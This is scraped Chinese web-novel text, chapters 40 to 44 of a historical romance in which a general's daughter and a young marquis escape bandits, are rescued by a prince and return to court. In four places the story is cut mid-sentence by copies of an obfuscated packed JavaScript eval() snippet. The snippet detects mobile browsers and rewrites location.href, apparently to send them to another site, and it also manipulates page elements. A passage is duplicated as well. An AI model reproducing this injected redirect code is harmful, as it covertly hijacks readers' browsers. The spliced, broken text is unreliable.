桉树急忙想上前扶他,就见一个树枝在薛岫白后腰挡了一下,稳住了身形,薛岫白回头,见影一站在他的身后。 “你……你。”想骂却说不出口,薛岫白只得闷声道:“你去将这块儿石头的另外半个寻回来。” 影一也不做声,只一瞬间与薛岫白手中的石块儿一同消失了。 身后传出些动静,想来是关月鸢醒了。 桉树收拾完,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889723|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这日他们的痕迹清理的干净,将脚印用枯木扫了,生的火堆浇水熄灭,在细细的铺上一层土,防止复燃。 关月鸢同薛岫白正吃着干粮,干粮有些噎人,是用玉米面和成的饼,放进炉子里干烤出来的。香是香就是掉渣,只能就这水一口一口的吃。 她一日未进食,此时因为薛岫白同她讲了关绩无事,这才有了胃口,吃的津津有味。 在平乐村时,玉米面可以同村里人换到,李秀娘常给她们烀饼子吃。 倒是薛岫白吃不习惯,但瞧着关月鸢吃的香自己也吃了个饼下去。 “主子,收拾好了,尽快出发吧。”桉树在一旁催,他刚刚外出听声响,那群人离他们走得近了,因为他们巡山天空有飞鸟飞过,常常徘徊。 “长陵,我们往那边走?”关月鸢心里有些担忧,那些人看起来不是好惹的货色,薛岫白虽然称他无事,可面色还是不太好。 “往东去,东边三皇子还在赈灾,抢修水渠,那边还驻扎着大量军队。” 他们的行礼丢的差不多了,也算是轻装上阵,就是这一路山路容易辨不清方向。 薛岫白吹了两声竹哨,让鹰隼在空中为他们带路。 走出去一炷香的功夫,巡山之人就出现在他们刚刚修整的山洞中。 “老大,老大,这里有个山洞。”一名手下率先发现,向后面报告。 众人纷纷让步,虎头走了出来。 虎头比两日前憔悴许多,他一只眼睛在爆炸时受了伤,后来又受到了田大的埋伏,被砍了一刀。 上头发话了,若是找不到外乡人,所有人都活不了,矿洞的事情已经暴露,一队负责善后消除痕迹,另一对负责捉拿外乡人。 他还是小瞧了田大,左手手腕连接处差点被削掉,只留下一层皮肉,左手是废了。 虎头面露阴狠,虽然田大他们已经死在矿洞里,虎头命部下放了一把火,烧得干干净净,可还是咽不下这口气,若不是那外乡人突然出现,田大也不至于被逼到尽头,发着狠的想要与他一决上下。 “呸,妈了个崽子的,给老子抓住他们,老子要他们碎尸万段。”虎头右手举起大刀,狠狠的砍在洞口的树上。 碗口大小的树一下便被拦腰砍断,歪倒在地。 林中动物纷纷惊醒,挣扎的想跑出这儿块区域。 而薛岫白那边也不算好,众人都十分疲累,尤其是薛岫白他虽然身上没有被爆炸波及,但总像是喘不上气,后脑针扎一般的疼。 “长陵!”关月鸢落在后面惊呼,因为她看见薛岫白头颅后面有血顺着脖颈流了下来。 “长陵!”关月鸢落在后面惊呼,因为她看见薛岫白头颅后面有血顺着脖颈流了下来。 什么? 薛岫白循声往后望去,眼里是关月鸢担心的脸,关月鸢急忙朝薛岫白跑了两步,嘴里在说什么却不出声? 怎么了? 他觉得甚好,甚至体魄都感觉到轻盈,仿佛置身于某种幻境之中。 好像有液体流下,他伸出手放在后脑上,满手鲜血。 41. 第 41 章 “我没事,别担心。”薛岫白将手放在身后,安慰关月鸢。 他们如今还没走过一座山头,若是在此处逗留,必然会被身后的追兵追上,他们没有了退路。 身后的追兵也没有退路,两方人马必定得死一方才能平息。 想到这,薛岫白眼中闪过一丝后悔,早知道在平乐村就该将关月鸢打包送回将军府,现在也不会沦落到同他一般要逃命的地步。 瞧着关月鸢一脸惊慌,小脸煞白,薛岫白倒是第一次感受到了被关心,好似被人放在心上珍之重之的感觉。 “放心。”便是豁出命去,也要将你护住。 桉树去前方探路,这才返回。 “前方有人埋伏。” 关月鸢他们三人趴在草丛中,看着下方的防线。 此处算是一个闸口,两岸环山,只有此处是最快出山的道路,若是放弃这里还需得翻过一座山才能到达对边,可以说这个闸口至关重要只要出了这山,距离不远就有三皇子带领驻扎的军队,皇上派军队来修建水坝,虽不知军队具体扎营地方,但他们生还的概率就大大提高了。 防线下面坐着三个人,此时正支着火堆吃肉喝酒,若只是三个人以薛岫白和桉树的身手不在话下,可就怕这只是一个陷阱。 又过了半个时辰,那三人睡了过去鼾声震天,又等了一会儿依旧毫无反应。 薛岫白见状打了个手势,他在前,将关月鸢安置在他身后,桉树最后。 三人摒弃凝神的想要通过,这三莽汉席地而睡中间只留了个狭小的间隙通过,薛岫白现行通过站在前面对关月鸢招手。 关月鸢提起裙摆,心中记着薛岫白刚刚走过的路线,刚走两步就被人捉住了脚腕。 “嘿嘿,逮住你了,小美人。”关月鸢惊讶低头,这人眼中哪里有一丝困顿的样子。 不待关月鸢做出反应,薛岫白一个闪身抬脚踩向那人的手。 他们上当了! 果然,地上的三人站了起来,狞笑的包围了这三人。 “毛头小子而已,能将老大耍得团团转?”那人手拄着一把大刀,露出的手臂上纹着一只猛虎,带着不屑的语气说。 “倒是着小丫头生的漂亮,等咱们玩够了卖到花楼还能挣上一笔。”另外一人的眼神赤裸裸的盯着关月鸢,舔着嘴唇道。 听着不堪入目下流的话,薛岫白嘴角崩的紧紧的,他给他们胡说的时间就是为了看看周围还有没有埋伏的人。 眼下,见他们满嘴污言秽语,薛岫白当即冲了上去,一个扫腿将对面那二人打倒在地。 不过几个回合,那三人皆被打倒,薛岫白钳制住一人将他握着刀的手反身向后,突然眼前一片漆黑,等了会才渐渐恢复。 身后传来一阵脚步声,薛岫白仰着头看到以虎头为首的十几人,正浩浩荡荡的冲他们而来。 “走。” 现在不是恋战的时候,薛岫白当即拉上关月鸢就往闸口跑去。 桉树落在最后,他捡起一把落在地上的大刀,护在身后。 突然耳边传来一阵风声,薛岫白微微侧头勉强躲过,一柄斧头擦着面飞过砍在了前面的树干上,入木三分。 “妈的,你们叫我好找!”虎头喘着气,心里庆幸幸好没较他们跑了。 薛岫白想站直身体,可后脑的钝痛让他眼前一阵发黑,间隔的时间也越来越长。 他怕关月鸢担心,愣是没展现出一丝不对,听着声响的方向面对虎头。 “你倒是不怕与官府作对的下场?” “呸,在这地方,老子就是官,天王老子来了也得给爷下跪叩头。”虎头此话一出,引得众位小弟振臂高呼。 “想必你们就是三年前龙虎寨的那群贼人吧。” 听到薛岫白这样说,虎头面露凶光。 “你还知道什么?” “你们屠了仙会村伪装成村民就为了掩盖开山挖矿的蠢事。相必镇国将军牵涉进平乐村也是你们的手笔。”听闻此言,关月鸢站在薛岫白身后猛地惊住了。 原来就是他们杀了平乐村的村民吗,还诬陷将军爹爹。 “不错,你小儿倒是聪明。” “你们想从平乐村获得什么以至于屠村?” “不过是陷害关绩那老货的手段罢了,那狗杂种害得我龙虎寨损伤过半,一十五人被虏,后被斩首挂在城墙受风吹日晒,不得入土。”虎头越说越气,他大哥就是当初被斩首中的一人,被田大陷害交了出去,他为报仇改了个身份重新加入龙虎寨,蚕食田大,就为了看他下场。 没想到最后被田大发现,生生挨了一刀。 可也大仇得报,田大如今烧的连骨灰都没了。 “小子,问的够多了,死前也算做个明白人了,乖乖受死吧。”说着话,众人就要将三人团团围住。 虎头昂首走上前,低头看向下首待宰的三人。他将砍刀拿出来刀尖直指薛岫白。 “小子,下辈子别做多管闲事的人,白白丢了一条性命。”说罢,举刀就劈。 薛岫白的眼睛此时才慢慢视物,他就见关月鸢拉着他后退然后闪身冲着刀尖迎了上去。 “不!”薛岫白心脏突然跳了两下,连忙抓紧关月鸢的手腕,想要将他拉回来。 桉树早与旁人缠斗在一起,此时看见这边情况,大惊,就要往回赶,却硬生生的被人将刀挑飞了。 一刹那间,一支飞箭生生将虎头的刀震的偏了方向,只划伤了关月鸢的手臂,血一瞬间就流了出来。 薛岫白将关月鸢揽在怀里,她的小脸吓的煞白。薛岫白往箭矢飞过来的方向看去,只见三皇子商宫翎手持大弓远远相对,背后整齐地站着一支军队。 鹰隼盘旋在上空,口中‘呜咽’声长。 “三皇子!”薛岫白心中着急脱口喊道。 “长陵别慌,我来了!” 虎头见状不好,眼前这小子知道的太多,需得铲除,才能让上头安心,想罢又是一刀。 薛岫白一直关注在这里,他捡起地上的一根枯木,挡在了他和关月鸢身前。 枯木哪里支持的住,只一下便断了,借着劲,薛岫白一脚踢向虎头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898326|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一击未中,便在没有机会了,虎头也是知道了自身的下场,大喝一声想要与薛岫白共死,被赶来的军队制服在地。 “长陵。”商宫翎急忙赶来,若是在他眼前让长陵受了伤,父皇还不知要怎么惩罚他。 “三皇子,快唤大夫看看郡主。”说完,薛岫白再支持不住倒了下去。 整整三日,薛岫白都未清醒,关月鸢右手手臂受伤,她当时心里生出的勇气,让她一往无前的冲着刀锋而去,那刀锋在太阳下闪着光,现在想起来关月鸢还一身后怕,可她不后悔。 长陵身肩重职,要比她重要多了,况且将军爹爹能不能出来,还要靠长陵收集而来的证据。 “长陵还未清醒吗?” 商宫翎身后跟着随行的军医,弯腰进了马车。 “还没。”关月鸢蔫蔫的回话,她日日来看,一守就是一天,不见薛岫白有一点反应。 商宫翎也有些着急了,军医回话说,‘小侯爷后脑曾受重伤,导致积血,何时醒来还未知。’ 一听这话,商宫翎连忙起身将职务交给副手,领了一小队人马千里加急的将薛岫白送回京城,嘴里还不时念叨,“完了完了,太子和父皇还不知要如何罚我。” 又从桉树的口中知道了来龙去脉,知道了关月鸢的真实身份是镇国将军捧在手中的千金后,商宫翎看着关月鸢受伤的右臂,表情立刻变成一幅生死置之度外的茫然。 越是临近京城,关月鸢的心中越是担忧。 她担忧薛岫白的伤,也担忧她走了十数日,若是被娘亲们发现该怎么办,尤其是现在这个外伤。 见三皇子一脸愁容,关月鸢尝试着开口请求,“三皇子殿下,若不将我放到京城外吧,小公主会来接我的。” 她现在哪里能回家啊! 三皇子摇了摇头,面露难色,此时就听见外面的侍从说道:“殿下,到京城了。” 什么! 这么快? 关月鸢将马车的窗子打开,探出身子往外看,就见城外正站着几个熟人。 为首之人赫然是她娘元娉婷,她娘一身正红色宫装负手站在城门前,面色凝重,身后站着梁衡与叶伯。 这下死到临头了! 马车慢慢停了下来。 “殿下安好,臣妾来接那顽劣的孩儿,给殿下添了许多麻烦,臣妾改日必上门道谢。”元娉婷隐含担忧与怒气的声音从马车外传了进来。 关月鸢缩在马车里,悄悄打了个寒颤。 “将军夫人客气了,举手之劳,郡主聪慧这次立下了不少功劳,改日父皇定会论功行赏的,夫人不必担忧。” “多谢殿下照看。” 马车帘子被掀开,关月鸢匆忙扑了上去,“娘亲,鸢儿好想你!” 原本要好好教训关月鸢一顿的,但看到她手臂受伤被纱布裹着,眼中就要落泪,嘴中却不饶人,“还不下来!” “娘亲,不要生气了。”关月鸢本想伸出手擦去元娉婷的眼泪,没想到被她看见了手上被碎石刮出的血痕。 顿时眼泪止都止不住…… 42. 第 42 章 关月鸢被勒令关在房中不得外出三个月,还要用完好的右手每日写一百张大字。 自从被元娉婷揪着领子拎回来,她已写了三百张大字,每日从天不亮就开始写,一直写到傍晚才能勉强完成。 这次她做的过分,连李秀娘都不敢为她求情。 三月居的门被上了锁,每日只有春妙能出去将饭菜取回来。 府医也会每天过来看诊,不出两日,她胳膊上的伤已经大好了。 可她是好了,爹爹还在牢里,长陵不知现在如何了,有没有清醒。 关月鸢呆得心急,一有空就隔着门唤人想将娘亲喊来,想求求情早日出去。 “说了三个月,少一天一个时辰一炷香都不是三个月。”关潥阳不知何时回来,守在院外阴阳怪气的说着话。 “你……”关月鸢被气得直跺脚。 “略略略,你倒是出来啊。”关潥阳还没得意太久,就被梁衡提住了耳朵。 “少爷,你不是要去茅厕,去了半个时辰?” 这几日因为学子百姓对于‘镇国将军屠村’的案件关注度高,麓泗学院怕引起些灾祸,就将学生们放假了。 关潥阳年龄小,还不清楚发生了何事,只觉得关绩不在家中令他少挨了好多顿板子,心里偷偷开心不已。 他体重已经超标了,元娉婷便喊了梁衡来训练训练关潥阳,好歹要有个将军家的样子,同时还减了他的吃食。 早晨鸡鸣起床先绕着将军府跑上五圈,再吃些清粥小菜,扎马步到晌午,中午勉强见点荤腥可以吃一块红烧肉,然后又是基础的什么踩梅花桩,一天下来累的和狗一样。 关潥阳欲哭无泪,府中上上下下的人都被叮嘱过不能给他吃食,如此他才见不惯关月鸢,惹了那么大的事,自己偷跑出去小半个月,最后还是被三皇子接回来的,才被关禁闭,他也愿意关禁闭,不愿意练劳什子武! “我真吃坏肚子了。” “那少爷现在可好了?” “好了好了。”关潥阳拼命地点了两下头。 “梁叔叔,我要见娘亲!”见梁衡扯着关溧阳的胳膊,扭头就走,关月鸢连忙喊出了声来。 “郡主,夫人这两日还在气头上,再过些日子消了气自然就来了。”梁衡无奈的安抚她。 这可怎么办? 关月鸢像是霜打的茄子一样蔫蔫的歪在桌子上,胳膊下面枕着一沓未写的白纸。 春妙进来就看到关月鸢趴在书桌上,没什么精神,她将手中的托盘放到一边,走到关月鸢跟前,“小姐,该换药了。” 关月鸢闷闷的吭了一声,才从书桌上抬起身,将左手臂放在桌上。 可能是宫中赏赐的药物效果太好,她的伤口愈合得很快,这才几天,伤口就已经愈合的差不多了,现在涂的主要是去疤痕防增生的外用药,每日三次,一次都拉不了。 春妙如今看管关月鸢,虽然她们四个丫头都没说什么,可回来看见关月鸢清减无神的面容,五人抱着哭了一场后,更是将关月鸢看得同眼珠子一般,走路怕磕,跑步怕碰。 金珠、宝珠更是难过,“小姐出门也不知带上我们,瞧不仅受了伤,还饿瘦了些。” 春妙虽没搭腔,但眼睛里也带着赞同。 关月鸢没法,只得各处讨饶求情,发誓以后去哪都带着她们,这才让哄好她们。 院外传来三声叩门的声音,叶伯在外道:“小姐,灵安公主来看您了。” 晚儿姐姐来了! 关月鸢飞快撷去眼角的眼泪,将商幼晚迎了进来。 商幼晚一进门就拉着关月鸢的手上下打量,瞧见她手臂上的伤口,直呼心疼。 “我听三哥说,你替薛哥哥挡了一刀,是巾帼不让须眉的女郎。”说到这,她眼中又噙了泪,“你傻啊,就那么往刀尖上撞,早知你会遇上这么大的危险,我就不帮你瞒了。” 这么大一条口子得多疼啊! “我都好的差不多了,能吃能睡!幸亏你来找我了,我娘亲将我锁在院里成天抄书,我都要长草了。我爹爹怎么还没被放出来?长陵哥哥可醒了?” “你且放心吧,别听旁人胡说,将军虽在牢里主要是为了堵上百姓的悠悠之口,父皇知道的将军是被人污蔑的。”商幼晚轻轻拍了拍关月鸢的手安抚。 “那长陵呢?是不是已经醒了?”太医院那么多的太医,长陵应该会没事的。 听到问薛岫白,商幼晚轻轻摇了摇头,“太医说伤到了头部,淤血堆积不知道何时才能醒来。” “什么?” 不是,长陵难道醒不来了吗? 关月鸢心中惊颤,手中原本端着的茶杯顿时有些拿不稳了。 “求晚儿姐姐带我去见他!他是为了救我才受伤的。” 商幼晚叹了口气,安慰道:“再等两日吧,这几日父皇守在薛哥哥身边罚了一批一批的太医,就连三哥都被罚跪祠堂了,在过两日,我叫母后宣你进宫,我带你去瞧。” “好!” 两人正小声说着话,春妙在旁边端上了一盘兔子状的奶糕,商幼晚看后惊奇不已,她招了招手让安雁递上来一个鎏金的盒子。 打开里面有一支檀木色的珠串,商幼晚将珠串取出来亲手绕到了关月鸢手中,深红色的小珠绕了三圈在纤细的手腕上,更显示出佛家的庇佑。 “这是我专门为你求的手串,在昙銮佛子处开过光的,可保平安,你须得好好戴着。”提起昙銮佛子,商幼晚眼中闪过一丝羞涩,不敢对上关月鸢的眼睛,像是生怕她问些什么。 幸好,关月鸢一心关注薛岫白,没有继续这个话题。 没坐一会儿商幼晚就要走了,近日外头有些不太平,尤其是将军府的门口,被激进百姓整日盯着,侍卫赶了一批就来一批,想来元娉婷不让关月鸢出门也是有保护的想法在的。 关月鸢就站在院里,看三月居重新挂上了锁,神情有些落寞。 春妙却觉得小姐好像有些不一样了。 …… 又过了三日。 关月鸢的小楷已经小有所成,引得春妙一股子骄傲,一早就拿去给元娉婷看。 过了晌午,关月鸢午睡醒来,就见春妙抬着一件漂亮的碧霞云锦百褶裙,往她身上穿。 “春妙,今日为何要穿的如此漂亮?”裙摆长而飘逸,以珍珠白色做腰带上面还坠着一颗不小的东珠。 “夫人吩咐了,皇后娘娘今日会宣小主子进宫。”春妙反手用梳子细细的将关月鸢的头发梳好,挽了一个单螺髻鬓边插了个红宝石步摇。 金珠争着为她画眉,宝珠只抢到了点唇的活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928810|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是吗?”关月鸢欣喜,本来她时刻担心着自己的将军爹爹,但每两日都会有侍卫来送信,报告将军一切安好,如此才稳住了将军府众人的心。 今日进宫,她主要是去看看薛岫白,一路走来薛岫白照顾她良多,带她去寻人,保护她。 她平安无事,可长陵却躺在床榻之上,生死未明,若是醒不过来可怎么办…… 想到这里,关月鸢连忙呸呸呸了三声。 回过神来,春妙她们已经收拾好了,将铜镜放在她的眼前。 镜中之人,灿若桃李,眉眼含情,单螺髻扎在鬓边透露出一股子娴静,与她往日的装扮不同。 关月鸢对镜笑了两下才反应过来,铜镜中的美人竟是她自己。 元娉婷在马车内等关月鸢,她抬起车帘远远就瞧见关月鸢莲步走来,步摇未动,耳串只轻轻晃动,不过肩不致颈,心里满意极了。 抄了这几日的书本总算是有了些娴静的样子,不是说活泼不好,她只是害怕鸢儿的性格伤害到自己。 若是在京城中惹祸还不算什么,可外头的人人心难辨,便是借着这个机会磨一磨她的性子也好。 “娘亲。”关月鸢坐在了元娉婷对面问好。 “鸢儿可怪娘亲?”元娉婷生怕母女两日后生疏,试探性的问。 关月鸢摇了摇头,“不怪娘亲,阿娘以前说过,爱之深责之切,我已经知道错了,日后不会这样了。”说罢,伸出食指勾住了元娉婷的手。 元娉婷闻言感动不已,眼角又要渗出眼泪,连忙用帕子遮了。 罢了,已经关了许久,谁小时候还不调皮一些,见她真的已经认识到自己的错误,元娉婷心里便做了打算,回去就解了三月居的禁。 “鸢儿没进过宫,害怕吗?”元娉婷将关月鸢揉在了怀里问。 “不害怕,皇后娘娘是好人,不会为难我的。” 金碧辉煌都不足以描述皇宫的大气威仪,元娉婷领着关月鸢经过了无数宫门,最后停在了华昭宫门口。 雕龙画凤的两根柱子立在殿外,庄严圣穆,说不紧张是假的。 这里是皇后的居所,马上就要面见大梁最尊贵的女人了。 在通报后,元娉婷领着关月鸢就要踏进殿门,突然被出来的一个内侍拦住了。 “宜兴郡主,灵安公主想要见您,请随我来。” 元娉婷点了头,关月鸢就跟着内侍走了。 路过了两个殿门,那名内侍领着她最后进了奉平殿。 殿内有许多宫女立在一旁,关月鸢不敢乱看,却还是瞟见了一个提着太医院箱子的人匆匆而过。 是晚晚有什么不舒服吗?太医来过了? “郡主请进,奴就在门外等您。” 说罢,那名内侍替关月鸢推开了门。 鼻尖全是中药的苦味,这是怎么了? 来不及多想,关月鸢急忙踏进了屋里,四处寻找商幼晚。 却不想,眼前的床上躺着的不是商幼晚,而是他日思夜想日夜祷告平安的薛岫白。 他静静躺在床榻上,眼睛紧闭,眉头中间因着反复针灸留下一抹血色红点,更像一尊玉雕的佛像,多日不见,他像是瘦了许多。 关月鸢直愣愣盯了半晌,不知不觉中,她的手悄悄摸上了他的双眼…… 43. 第 43 章 “宜兴,抬头让朕瞧瞧。” 宣帝停了手中的笔,对台下跪着的少女说道。 关月鸢本来微微低着头,听到此言,大大方方的抬起了头,同时也打量起了面前的皇上。 她想象里的皇帝应当长着一张严肃威严的脸,可面前之人,面露含笑,虽然久经风霜但眼眸并无有杀戮之气,却带着悲天悯人的苍茫感,只一眼关月鸢便觉得他是个好人。 “不怕朕?” 关月鸢摇了摇头,“圣上是明君,臣女为何要怕?” “哦?哪怕朕将你爹爹送到刑部大牢,也是明君?” “我听娘说,爹爹每日算不上吃香的喝辣的,但时不时还能喝上两口烧酒,定是皇上准许的。爹爹被牵涉进案件中,圣上还派人去寻证据查真相,自然是千古名君!” “你倒是比你爹讨人喜欢。” 宣帝听罢大笑了两声,摆了摆手,让李同光给关月鸢上了盘点心。 “父皇,别吓唬宜兴了,若是让晚儿知道,又该闹脾气了。”太子殿下坐在一旁,凑趣道。 宣帝自是知道宜兴与灵安的关系好,灵安小时玩闹得厉害,不知什么时候突然长成了端庄温良的姑娘,她是朕的女儿,自当受天下千千万万人的宠爱,他时不时还想念小时候敢跳上来拽他头发的小丫头。 却不知这灵安和宜兴郡主成了好友,竟然慢慢有些找回了以前跳脱的性子。 “宜兴,朕听说你智勇无双,还替长陵那孩子挡了一刀?” 关月鸢屁股还未坐稳,见宣帝问话就要跪下,被宣帝摆手制止,“坐着回话就好。” “是我太自大,连累了他,这件事与他毫无关系,这一刀本就该是我挨的!” “将门虎女,你果真同你爹一个性子。” 宣帝抬眼从窗外望去,天高鸟飞,似是想到了旧事,“宜兴想要什么赏赐?告诉朕,朕都准了。” “臣女只有两个愿望一是想让爹爹回家,二是想让长陵健康性命无忧。”关月鸢跪在地上,叩了头。 话一出口,四周静了下来。 “长陵身子无碍,可御医也说不知道何时才能醒来,这件不算。” 太子殿下坐在软垫上,眼中带着笑意道:“关于镇国将军的事,也不好说,如今民间的传言遍布,所有人都在等一个事实。” “爹爹是被冤枉的!那王状在村中就常欺辱我和阿娘,他说出的话不能当真!他……他还威胁我娘,惹得爹爹和娘亲焦灼不已,爹爹没有做过坏事!” “起来回话,吃你的糕点,别担心,告诉朕你的妹妹何处去了?”宣帝忽然想起来问道。 关月鸢突然一个惊醒,圣上问的是二囡的去处吗?她脑子转得极快,想起了阿娘之前的说辞,“阿娘养我和妹妹不容易,年初的时候妹妹突然得了风寒,没想到身子一天比一天弱了,将养了半年练口粥都喝不下去了,村里的大夫让阿娘早早的准备后事,说妹妹不行了。” “可妹妹还那么小,阿爹自小就离开了我们,但听说阿爹有个叔叔在南方做生意,阿娘就写了信让叔父派了人将妹妹接走养病,若是好了就再接回来。” 宣帝闻言,心中有了琢磨。 平乐村死的干净,没有人能证明到底王家有没有在外从商的叔父,也没人能说明当时李秀娘抱的不是关月鸢,这如今就是一摊子乱账,倒也不妨事。 那李秀娘自将军入了刑部,就跪在了御史台,将话说的明明白白,关月鸢就是关绩的孩子,万万没有掉包一说。 “宜兴可知是谁屠了平乐村整村的人?” 关月鸢摇了摇头,她不知道,可小梅一定知道!等她出宫便去寻二囡找小梅问个清楚,后又想起来薛岫白在与那帮土匪对话时好似说过,“小侯爷是知道的,那些土匪也承认了他们是为了陷害爹爹,才屠了村子的。” 这些事,桉树第一时间就报给了太子。 太子与宣帝对视一眼,桉树只知道部分信息,那群龙湖寨的土匪因记恨关绩歼灭他们,才屠杀平乐村的村民妄图嫁祸到关绩身上。屠杀仙会村是为了刚好的埋伏在村中,只为替九品芝麻官挖个坟? 不止如此。 商宫雀发现小梅没死之后,第一时间就上报给了太子,没出几日太子就在上京的郊外找到了躲在牛棚中的小梅。 小梅也交代了实情,她出身仙会村,家中父辈做些家禽生意,之前龙虎寨猖獗,便被逼急了带着夫人与幼女搬家到了平乐村。 她自小与关月鸢一起长大,也不知道二囡的去处,那几日关月鸢来找她要做了一半的袄子,是做给二囡的,小梅不敢再问,一心认为二囡病死了。 后来她与村长加的账房相爱,就差定亲了,可偏偏又被王状截了胡。 王状眼看李秀娘高走,还折了一只耳朵,王状气不过,就将心眼子就放在与关月鸢交好的田小梅身上。强买强卖的将田小梅拉到了玉米地里,坏了她的清白,让她与账房从此没有了缘分。 小梅当初恨极了,当场就要跳了河,没想到一头扎在了河底的石头上,碰了个头破血流。 她一发狠将碰坏她的石头搬到了岸上,没想到那石头上有着几个大字。 却被王状抱了走,嘴上还说着什么,“发了,发了。” 没过两天,就来了官人,说他们村立了大功劳,找到了‘天石’上面写着对圣上的歌颂,皇上特别开心,赏银再加上流水一般的酒席。 村里人哪里吃过这么好吃的饭,全村人都去了,只留下村尾的跛子,和小梅一家。 小梅的娘亲给她收拾了衣物,叫她赶紧跑,跑去找关月鸢,将军府总能护得住她,因为她爹已经听到王状醉后对旁人说的,待他去上京搞点钱回来,就来将小梅娶回来做个妾玩一玩就发卖出去,到时候大家都有的玩。 小梅只有逃命这一条路,她爹推说头疼睡不着,攒了许久的安眠药,全都撒在了井中。 毕竟王状一家在平乐村权势滔天,若是小梅跑了,再被抓回来就没命了。 后来她刚出了家门,就见两个穿着黑衣的壮汉鬼鬼祟祟的进了村,没等她反应过来,那人就一刀劈死了村尾的瘸子,她狠狠的捂住了嘴,转身就往家中跑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12956705|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等她到了家,已经迟了,娘和爹都死了! 她伤心欲绝本想一死了之,可凭什么坏人总能活在世上,她便发了狠的跑了出去。 一路躲躲藏藏,不敢走白路,不敢走大道。 她进城转了一圈,本想着去投奔关月鸢,没想到王状竟然敢状告将军,让将军也牵涉到这次的事情之中。 将军府外被戒严,门外总有些同她一样穿着破烂的衣裳在晃,她害怕了,便藏在一个茅草车中出了城,最后在牛棚里被太子的人找到。 小梅狠狠地上磕着头,说镇国将军与此事无关,当日两人皆穿黑衣,身形与将军并不类似,况且若是将军出马,大军一围怎么可能让她跑出来告状。 她只求恶人伏首认罪,告平乐村村民的在天之灵! 而那被商宫翎带回来的一众土匪,送到刑部没有两日就全招了,说是他们杀了平乐村村民和仙会村村民,再多问就说一切都是听老大的,田大已死,尸骨无存,只剩了虎头一个。 商宫翎被薛岫白的伤势打乱了阵脚,忘记搜山,等反应过来再派人回去,山上该消失的消失的一干二净,也没抓到龙虎寨的主子。 被宣帝好一通骂。 虎头抗住了大刑,交代了平乐村与仙会村的惨案,愣是不说,他们在山上究竟在干些什么,况且这一环一环的事情,不像是这一帮子匪人能搞清楚的。 “小侯爷醒了,皇上,小侯爷醒了。”门外,传来李同光的声音。 在座三人连忙起身,往旁院去。 奉平殿作为宣帝的平时批阅奏章的地方,为了时刻关注薛岫白的情况,专门辟了一间旁院,将薛岫白将养在这里,太医十二个时辰的候着,只等他醒。 床上的少年此时已睁开了眼睛,他狭长的黑眸望向进来的三人,在看到关月鸢时,顿了两秒,闪过一丝的放松。 “臣见过皇上。” “长陵,不用多礼,歇着好生养养。”宣帝急迫的坐在了窗边,将薛岫白又按到了床上。 太子也走到窗边低声道:“长陵出去不过几日,怎么就成这个样子?” 言语之中,透露出熟稔与关心。 关月鸢没挤过去,心头却热乎乎的,真好,他平安无事。 薛岫白咳了两声,从怀中掏出一个荷包递给宣帝,“皇上,这是臣收集的证据。” 宣帝接过之后,打开一看,里面装着一块碎掉的玉石,与一捧黑土。 “这是……” “这是龙虎寨那群匪人想要藏住的秘密,这是铁矿。他们在开采铁矿。” 说的有些急了,薛岫白脸色有些红。 宣帝与太子霎时间变了脸色。 整个国土中,铁矿也只有两座,已经被开采的差不多了,如此才在军事上被蛮人压了一头。 自知有铁矿存在,而不上报! 定要彻查个清楚! 宣帝与太子这下待不住了,没待片刻就要走,太子走前还不忘嘱咐关月鸢一句,“关将军不日就会回府,宜兴你同长陵说说话,一会儿孤派人将你送回家。” 44. 第 44 章 两人走后,空气一下子寂静了下来。 关月鸢站在原地没动,心底却忽然涌起了几分不在。 偷偷用眼角打量着大病初愈的少年,只觉得这回了京城,便好像与他们一起出门那会儿,有些不一样了。 薛岫白被内侍扶起身子,背后靠了个软垫,他侧头看向关月鸢,面容白得像是会发光,“你手臂的伤怎么样了?” 关月鸢原本有些拘谨,听到薛岫白率先打破沉默,才忍不住松了一口气,连忙点头,“我的伤大好了,娘亲每日给我换三次药,如今就剩下点印子……” 说着,她偷偷瞧了他一眼,两人目光刚一对上,又匆匆移开目光。 “娘亲……娘亲还罚我每日抄书,你瞧,手都要生茧子了!” 